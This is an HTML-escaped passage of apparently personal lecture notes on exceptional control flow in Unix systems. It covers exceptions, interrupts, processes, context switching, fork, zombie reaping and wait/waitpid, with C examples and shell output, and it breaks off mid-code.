&lt;li&gt;This sequence is the CPU&apos;s control flow (or flow of control)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3yer7zxizc.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;Up to now, we have learned two mechanisms for changing control flow:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jumps and branches&lt;/li&gt;
&lt;li&gt;Call and return&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;They react to changes in program state.&lt;/p&gt;
&lt;p&gt;But its insufficient for a useful system: difficult to react to changes in system state:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Data arrives from a disk or a network adapter&lt;/li&gt;
&lt;li&gt;Instruction divides by zero&lt;/li&gt;
&lt;li&gt;User hits &lt;code&gt;Ctrl-C&lt;/code&gt; at the keyboard&lt;/li&gt;
&lt;li&gt;System timer expires&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&apos;s why we need mechanisms for &quot;exceptional control flow&quot;.&lt;/p&gt;
&lt;h2&gt;Exceptional Control Flow&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Exists at all levels of a computer system&lt;/li&gt;
&lt;li&gt;Low level mechanisms
&lt;ul&gt;
&lt;li&gt;Exceptions
&lt;ul&gt;
&lt;li&gt;Change in control flow in response to a system event (i.e., change in system state)&lt;/li&gt;
&lt;li&gt;Implemented using combination of hardware and OS software&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Higher level mechanisms
&lt;ul&gt;
&lt;li&gt;Process context switch
&lt;ul&gt;
&lt;li&gt;Implemented by OS software and hardware timer&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Signals
&lt;ul&gt;
&lt;li&gt;Implemented by OS software&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Nonlocal jumps: &lt;code&gt;setjmp()&lt;/code&gt; and &lt;code&gt;longjmp()&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Implemented by C runtime library&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exceptions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;An exception is a transfer of control to the OS kernel in response to some event (i.e., change in processor state)
&lt;ul&gt;
&lt;li&gt;Kernel is the memory-resident part of the OS&lt;/li&gt;
&lt;li&gt;Examples of events: Divide by 0, arithmetic overflow, page fault, I/O request completes, typing &lt;code&gt;Ctrl‐C&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8hgsb06g7p.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Exception Tables&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8ok06fxc1p.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Synchronous Exceptions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Caused by events that occur as a result of executing an instruction
&lt;ul&gt;
&lt;li&gt;Traps
&lt;ul&gt;
&lt;li&gt;Intentional (e.g., system calls, breakpoint traps, special instructions)&lt;/li&gt;
&lt;li&gt;Returns control to &quot;next&quot; instruction&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Faults
&lt;ul&gt;
&lt;li&gt;Unintentional but possibly recoverable (e.g., page faults (recoverable), protection faults (unrecoverable), floating point exceptions)&lt;/li&gt;
&lt;li&gt;Either re-executes faulting (&quot;current&quot;) instruction or aborts&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Aborts
&lt;ul&gt;
&lt;li&gt;Unintentional and unrecoverable (e.g., illegal instruction, parity error, machine check)&lt;/li&gt;
&lt;li&gt;Aborts current program&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Asynchronous Exceptions (Interrupts)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Caused by events external to the processor
&lt;ul&gt;
&lt;li&gt;Indicated by setting the processor’s interrupt pin&lt;/li&gt;
&lt;li&gt;Handler returns to &quot;next&quot; instruction&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Examples:
&lt;ul&gt;
&lt;li&gt;Timer interrupt
&lt;ul&gt;
&lt;li&gt;Every few ms, an external timer chip triggers an interrupt&lt;/li&gt;
&lt;li&gt;Used by the kernel to take back control from user programs&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;I/O interrupt from external device
&lt;ul&gt;
&lt;li&gt;Hitting &lt;code&gt;Ctrl-C&lt;/code&gt; at the keyboard&lt;/li&gt;
&lt;li&gt;Arrival of a packet from a network&lt;/li&gt;
&lt;li&gt;Arrival of data from a disk&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Processes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Definition: A process is an instance of a running program
&lt;ul&gt;
&lt;li&gt;One of the most profound ideas in computer science&lt;/li&gt;
&lt;li&gt;Not the same as &quot;program&quot; or &quot;processor&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Process provides each program with two key abstractions:
&lt;ul&gt;
&lt;li&gt;Logical control flow
&lt;ul&gt;
&lt;li&gt;Each program seems to have exclusive use of the CPU&lt;/li&gt;
&lt;li&gt;Provided by kernel mechanism called context switching&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Private address space
&lt;ul&gt;
&lt;li&gt;Each program seems to have exclusive use of main memory&lt;/li&gt;
&lt;li&gt;Provided by kernel mechanism called virtual memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Multiprocessing: The Illusion&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.58hoediwx5.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Computer runs many processes simultaneously
&lt;ul&gt;
&lt;li&gt;Applications for one or more users
&lt;ul&gt;
&lt;li&gt;Web browsers, email clients, editors, ...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Background tasks
&lt;ul&gt;
&lt;li&gt;Monitoring network &amp;amp; I/O devices&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Multiprocessing: The (Traditional) Reality&lt;/h3&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3nrxewo9gw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Single processor executes multiple processes concurrently
&lt;ul&gt;
&lt;li&gt;Process executions interleaved (multitasking)&lt;/li&gt;
&lt;li&gt;Address spaces managed by virtual memory system&lt;/li&gt;
&lt;li&gt;Register values for non-executing processes saved in memory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Save current registers in memory&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7i0oxvaq6t.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Schedule next process for execution&lt;/li&gt;
&lt;li&gt;Load saved registers and switch address space (context switch)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Multiprocessing: The (Modern) Reality&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Multicore processors
&lt;ul&gt;
&lt;li&gt;Multiple CPUs on single chip&lt;/li&gt;
&lt;li&gt;Share main memory (and some of the caches)&lt;/li&gt;
&lt;li&gt;Each can execute a separate process
&lt;ul&gt;
&lt;li&gt;Scheduling of processors onto cores done by kernel&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.pfnbf3vjq.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Concurrent Processes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Each process is a logical control flow&lt;/li&gt;
&lt;li&gt;Two processes run concurrently (are concurrent) if their flows overlap in time&lt;/li&gt;
&lt;li&gt;Otherwise, they are sequential&lt;/li&gt;
&lt;li&gt;Examples (running on single core):
&lt;ul&gt;
&lt;li&gt;Concurrent: A &amp;amp; B, A &amp;amp; C&lt;/li&gt;
&lt;li&gt;Sequential: B &amp;amp; C&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.7eh3065rhl.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;User View of Concurrent Processes&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Control flows for concurrent processes are physically disjoint in time&lt;/li&gt;
&lt;li&gt;However, we can think of concurrent processes as running in parallel with each other&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9rjphdkyax.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Context Switching&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Processes are managed by a shared chunk of memory-resident OS code called the kernel
&lt;ul&gt;
&lt;li&gt;Important: the kernel is not a separate process, but rather runs as part of some existing process&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Control flow passes from one process to another via a context switch&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3d53lsj1f0.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h2&gt;Process Control&lt;/h2&gt;
&lt;h3&gt;System Call Error Handling&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;On error, Linux system-level functions typically return &lt;code&gt;‐1&lt;/code&gt; and set global variable &lt;code&gt;errno&lt;/code&gt; to indicate cause&lt;/li&gt;
&lt;li&gt;Hard and fast rule:
&lt;ul&gt;
&lt;li&gt;You must check the return status of every system-level function&lt;/li&gt;
&lt;li&gt;Only exception is the handful of functions that return &lt;code&gt;void&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;if ((pid = fork()) &amp;lt; 0) {
  fprintf(stderr, &quot;fork error: %s\n&quot;, strerror(errno));
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Error-reporting functions&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Can simplify somewhat using an error-reporting function:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* Unix-style error */
void unix_error(char *msg) {
  fprintf(stderr, &quot;%s: %s\n&quot;, msg, strerror(errno));
  exit(0);
}

if ((pid = fork()) &amp;lt; 0)
  unix_error(&quot;fork error&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Error-handling Wrappers&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Simplify the present code even further by using Stevens-style error-handling wrappers:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;pid_t Fork(void) {
  pid_t pid;

  if ((pid = fork()) &amp;lt; 0)
    unix_error(&quot;Fork error&quot;);
  return pid;
}

pid = Fork();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Processes States&lt;/h3&gt;
&lt;p&gt;From a programmer&apos;s perspective, we can think of a process as being in one of three states:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Running
&lt;ul&gt;
&lt;li&gt;Process is either executing, or waiting to be executed and will eventually be scheduled (i.e., chosen to execute) by the kernel&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Stopped
&lt;ul&gt;
&lt;li&gt;Process execution is suspended and will not be scheduled until further notice&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Terminated
&lt;ul&gt;
&lt;li&gt;Process is stopped permanently&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Creating Processes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Parent process creates a new running child process by calling &lt;code&gt;fork&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int fork(void)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Returns &lt;code&gt;0&lt;/code&gt; to the child process, child&apos;s PID to parent process&lt;/li&gt;
&lt;li&gt;Child is almost identical to parent:
&lt;ul&gt;
&lt;li&gt;Child get an identical (but separate) copy of the parent&apos;s virtual address space&lt;/li&gt;
&lt;li&gt;Child gets identical copies of the parent&apos;s open file descriptors&lt;/li&gt;
&lt;li&gt;Child has a different PID than the parent&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fork&lt;/code&gt; is interesting (and often confusing) because it is called once but returns twice&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;fork Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  pid_t pid;
  int x = 1;

  pid = Fork();
  if (pid == 0) { /* Child */
    printf(&quot;child: x=%d\n&quot;, ++x);
    exit(0);
  }

  /* Parent */
  printf(&quot;parent: x=%d\n&quot;, --x);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linux&amp;gt; ./fork
parent: x=0
child: x=2
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Call once, return twice&lt;/li&gt;
&lt;li&gt;Concurrent execution
&lt;ul&gt;
&lt;li&gt;Can’t predict execution order of parent and child&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Duplicate but separate address space
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x&lt;/code&gt; has a value of 1 when fork returns in parent and child&lt;/li&gt;
&lt;li&gt;Subsequent changes to &lt;code&gt;x&lt;/code&gt; are independent&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Shared open files
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;stdout&lt;/code&gt; is the same in both parent and child&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Terminating Processes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Process becomes terminated for one of three reasons:
&lt;ul&gt;
&lt;li&gt;Receiving a signal whose default action is to terminate&lt;/li&gt;
&lt;li&gt;Returning from the &lt;code&gt;main&lt;/code&gt; routine&lt;/li&gt;
&lt;li&gt;Calling the &lt;code&gt;exit&lt;/code&gt; function&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;void exit(int status)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Terminates with an exit status of status&lt;/li&gt;
&lt;li&gt;Convention: normal return status is &lt;code&gt;0&lt;/code&gt;, nonzero on error&lt;/li&gt;
&lt;li&gt;Another way to explicitly set the exit status is to return an integer value from the main routine&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exit&lt;/code&gt; is called once but never returns&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Modeling fork with Process Graphs&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A process graph is a useful tool for capturing the partial ordering of statements in a concurrent program:
&lt;ul&gt;
&lt;li&gt;Each vertex is the execution of a statement&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a ‐&amp;gt; b&lt;/code&gt; means &lt;code&gt;a&lt;/code&gt; happens before &lt;code&gt;b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Edges can be labeled with current value of variables&lt;/li&gt;
&lt;li&gt;&lt;code&gt;printf&lt;/code&gt; vertices can be labeled with output&lt;/li&gt;
&lt;li&gt;Each graph begins with a vertex with no inedges&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Any topological sort of the graph corresponds to a feasible total ordering
&lt;ul&gt;
&lt;li&gt;Total ordering of vertices where all edges point from left to right&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Process Graph Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  pid_t pid;
  int x = 1;

  pid = Fork();
  if (pid == 0) { /* Child */
    printf(&quot;child: x=%d\n&quot;, ++x);
    exit(0);
  }

  /* Parent */
  printf(&quot;parent: x=%d\n&quot;, --x);
  exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.361vqf3v66.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Interpreting Process Graphs&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Original graph:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.361vqf3v66.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Relabled graph:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.sz997t4sc.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Feasible total ordering:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.3d53luu0e1.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Infeasible total ordering:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obu1u7581.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;fork Example: Two consecutive forks&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void fork2() {
  printf(&quot;L0\n&quot;);
  fork();
  printf(&quot;L1\n&quot;);
  fork();
  printf(&quot;Bye\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw1dsgms3.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;fork Example: Nested forks in parent&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void fork4() {
  printf(&quot;L0\n&quot;);
  if (fork() != 0) {
    printf(&quot;L1\n&quot;);
    if (fork() != 0) {
      printf(&quot;L2\n&quot;);
    }
  }
  printf(&quot;Bye\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.sz9984x39.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;fork Example: Nested forks in children&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void fork5() {
  printf(&quot;L0\n&quot;);
  if (fork() == 0) {
    printf(&quot;L1\n&quot;);
    if (fork() == 0) {
      printf(&quot;L2\n&quot;);
    }
  }
  printf(&quot;Bye\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.mdrhqki8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Reaping Child Processes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Idea
&lt;ul&gt;
&lt;li&gt;When process terminates, it still consumes system resources (e.g., Exit status, various OS tables)&lt;/li&gt;
&lt;li&gt;Called a &lt;code&gt;zombie&lt;/code&gt; (Living corpse, half alive and half dead)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Reaping
&lt;ul&gt;
&lt;li&gt;Performed by parent on terminated child (using &lt;code&gt;wait&lt;/code&gt; or &lt;code&gt;waitpid&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Parent is given exit status information&lt;/li&gt;
&lt;li&gt;Kernel then deletes zombie child process&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;What if parent doesn&apos;t reap ?
&lt;ul&gt;
&lt;li&gt;If any parent terminates without reaping a child, then the orphaned child will be reaped by &lt;code&gt;init&lt;/code&gt; process (&lt;code&gt;pid == 1&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;So, only need explicit reaping in long-running processes (e.g., shells and servers)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Zombie Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void fork7() {
  if (fork() == 0) {
    /* Child */
    printf(&quot;Terminating Child, PID = %d\n&quot;, getpid());
    exit(0);
  } else {
    printf(&quot;Running Parent, PID = %d\n&quot;, getpid());
    while (1)
      ; /* Infinite loop */
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linux&amp;gt; ./forks 7 &amp;amp;
[1] 6639
Running Parent, PID = 6639
Terminating Child, PID = 6640
linux&amp;gt; ps
PID TTY TIME CMD
6585 ttyp9 00:00:00 tcsh
6639 ttyp9 00:00:03 forks
6640 ttyp9 00:00:00 forks &amp;lt;defunct&amp;gt;
6641 ttyp9 00:00:00 ps
linux&amp;gt; kill 6639
[1] Terminated
linux&amp;gt; ps
PID TTY TIME CMD
6585 ttyp9 00:00:00 tcsh
6642 ttyp9 00:00:00 ps
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ps&lt;/code&gt; shows child process as &quot;defunct&quot; (i.e., a zombie)&lt;/li&gt;
&lt;li&gt;Killing parent allows child to be reaped by &lt;code&gt;init&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Non-terminating Child Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void fork8() {
  if (fork() == 0) {
    /* Child */
    printf(&quot;Running Child, PID = %d\n&quot;, getpid());
    while (1)
      ; /* Infinite loop */
  } else {
    printf(&quot;Terminating Parent, PID = %d\n&quot;, getpid());
    exit(0);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;linux&amp;gt; ./forks 8
Terminating Parent, PID = 6675
Running Child, PID = 6676
linux&amp;gt; ps
PID TTY TIME CMD
6585 ttyp9 00:00:00 tcsh
6676 ttyp9 00:00:06 forks
6677 ttyp9 00:00:00 ps
linux&amp;gt; kill 6676
linux&amp;gt; ps
PID TTY TIME CMD
6585 ttyp9 00:00:00 tcsh
6678 ttyp9 00:00:00 ps
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Child process still active even though parent has terminated&lt;/li&gt;
&lt;li&gt;Must kill child explicitly, or else will keep running indefinitely&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;wait: Synchronizing with Children&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Parent reaps a child by calling the &lt;code&gt;wait&lt;/code&gt; function&lt;/li&gt;
&lt;li&gt;&lt;code&gt;int wait(int *child_status)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Suspends current process until one of its children terminates&lt;/li&gt;
&lt;li&gt;Return value is the &lt;code&gt;pid&lt;/code&gt; of the child process that terminated&lt;/li&gt;
&lt;li&gt;If &lt;code&gt;child_status != NULL&lt;/code&gt;, then the integer it points to will be set to a value that indicates reason the child terminated and the exit status:
&lt;ul&gt;
&lt;li&gt;Checked using macros defined in &lt;code&gt;wait.h&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;WIFEXITED&lt;/code&gt;, &lt;code&gt;WEXITSTATUS&lt;/code&gt;, &lt;code&gt;WIFSIGNALED&lt;/code&gt;, &lt;code&gt;WTERMSIG&lt;/code&gt;, &lt;code&gt;WIFSTOPPED&lt;/code&gt;, &lt;code&gt;WSTOPSIG&lt;/code&gt;, &lt;code&gt;WIFCONTINUED&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;wait Example&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;void fork9() {
  int child_status;

  if (fork() == 0) {
    printf(&quot;HC: hello from child\n&quot;);
    exit(0);
  } else {
    printf(&quot;HP: hello from parent\n&quot;);
    wait(&amp;amp;child_status);
    printf(&quot;CT: child has terminated\n&quot;);
  }
  printf(&quot;Bye\n&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.1ovqopl1uh.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Another wait Example&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;If multiple children completed, will take in arbitrary order&lt;/li&gt;
&lt;li&gt;Can use macros &lt;code&gt;WIFEXITED&lt;/code&gt; and &lt;code&gt;WEXITSTATUS&lt;/code&gt; to get information about exit status&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void fork10() {
  pid_t pid[N];
  int i, child_status;

  for (i = 0; i &amp;lt; N; i++)
    if ((pid[i] = fork()) == 0)
      exit(100+i); /* Child */
  for (i = 0; i &amp;lt; N; i++) { /* Parent */
    pid_t wpid = wait(&amp;amp;child_status);
  if (WIFEXITED(child_status))
    printf(&quot;Child %d terminated with exit status %d\n&quot;, wpid, WEXITSTATUS(child_status));
  else
    printf(&quot;Child %d terminate abnormally\n&quot;, wpid);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;waitpid: Waiting for a Specific Process&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pid_t waitpid(pid_t pid, int &amp;amp;status, int options)&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Suspends current process until specific process terminates&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void fork11() {
  pid_t pid[N];
  int i;
  int child_status;

  for (i = 0; i &amp;lt; N; i++)
    if ((pid[i] = fork()) == 0)
      exit(100+i); /* Child */
  for (i = N-1; i &amp;gt;= 0; i--) {
    pid_t wpid = waitpid(pid[i], &amp;amp;child_status, 0);
    if (WIFEXITED(child_status))
